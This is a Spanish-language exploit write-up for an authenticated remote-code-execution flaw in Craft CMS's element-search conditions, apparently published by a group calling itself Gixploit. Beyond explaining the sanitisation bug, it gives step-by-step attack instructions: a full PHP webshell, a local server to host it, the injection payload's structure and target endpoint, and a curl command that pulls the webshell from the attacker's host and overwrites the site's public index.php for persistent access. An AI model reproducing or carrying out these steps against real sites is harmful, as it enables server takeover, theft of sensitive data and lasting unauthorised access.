CVE-2026-72778 - Craft CMS Authenticated RCE
Análisis del CVE
Vulnerabilidad Explotada
Esta vulnerabilidad representa una Ejecución Remota de Código (RCE) autenticada en el panel de control de Craft CMS, originado por un defecto en el flujo de sanitización de datos durante el procesamiento de condiciones en la funcionalidad element-search.
El CMS depura la matriz de condiciones externa controlada por la petición HTTP mediante Component::cleanseConfig(), pero posteriormente Conditions::createCondition() decodifica y fusiona la cadena JSON contenida en condition.config sin volver a ejecutar cleanseConfig() sobre la configuración.
Dado que condition.config se mantiene como una cadena JSON durante la primera depuración, las claves de configuración especiales de Yii (tales como as ... y on ...) pueden quedar ocultas en su interior. Tras la decodificación JSON, dichas claves llegan al proceso de creación del objeto FieldLayout, donde Yii las interpreta como configuración de comportamientos o eventos.
Impacto
Un usuario autenticado del panel de control puede inyectar configuración de comportamientos (behaviors) o eventos de Yii sobrepasando el límite de depuración previsto por Craft.
- Ejecución de comandos en el sistema operativo
- Lectura de información sensible
- Movimiento lateral / Pivotaje
- Persistencia y denegación de servicio
Uso
Sustituye <host> y, opcionalmente, <port> con los valores correspondientes a tu entorno, por ejemplo: http://10.10.50.152:8080/shell.php.
Asegúrate de iniciar el servidor local ejecutando python3 -m http.server 8080 para servir un archivo PHP que contenga una webshell básica:
<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>
A continuación, tras iniciar sesión en el panel de control de Craft CMS, abre la consola de herramientas de desarrollador del navegador.
Pega y ejecuta el script en la consola. Si la ejecución es correcta, podrás verificar que el comando se ejecuta visitando la URL: [domain]/index.php?cmd=whoami.
Una respuesta correcta del comando debería devolver www-data.
PoC
Este script está destinado únicamente a fines educativos y de investigación. Gixploit no se hace responsable de ningún mal uso o daño causado por este exploit.
¡Siempre asegúrate de tener permiso antes de probar o explotar vulnerabilidades!
Explicación del código
En primer lugar extrae las credenciales de sesión
Obtiene el token CSRF del cliente desde window.Craft.csrfTokenValue para adjuntarlo en las cabeceras HTTP y garantizar que la petición sea aceptada por la API del CMS.
Ensamblado del vector de inyección (b):
Construye la estructura JSON que aprovecha el fallo en el endpoint de búsqueda. Define una condición de tipo ElementCondition sobre elementos craft\elements\Category e inyecta en fieldLayouts:
-
Inyección de comportamiento (
as rce):
Instancia la claseyii\behaviors\AttributeTypecastBehavior. -
Definición:
Asigna a la propiedadtypecastBeforeSavela invocación dePsy\Readline\Hoa\ConsoleProcessus::execute, pasando la variablecmdcomo entrada. -
Disparador de evento (
on *:self::beforeSave):
Vincula la ejecución al eventobeforeSave, obligando a Yii a procesar la conversión de tipo de datos y ejecutar el comando del sistema.
Envío de la petición y métrica de tiempo (file(cmd)):
Envía la carga maliciosa mediante una solicitud POST en formato JSON a la ruta /index.php?p=admin/actions/element-search/search. Registra el tiempo de ejecución con performance.now() y retorna el código de estado HTTP, la latencia en milisegundos y los primeros 60 caracteres del cuerpo devuelto.
Invocación del comando y establecimiento de persistencia:
Ejecuta la función enviando el comando: curl http://<host>[:<port>]/shell.php --output /web/index.php
Este comando descarga un archivo malicioso desde el servidor del atacante y sobrescribe directamente el punto de entrada público de la aplicación web (/web/index.php), transformando la ejecución de comandos en un acceso persistente y directo a través de una webshell.
Nota. La estructura estándar de Craft CMS ubica la raíz pública en
/web/index.php. No obstante, la ruta absoluta en el sistema varía según el despliegue del servidor, por ejemplo/var/www/<app>/web/index.php.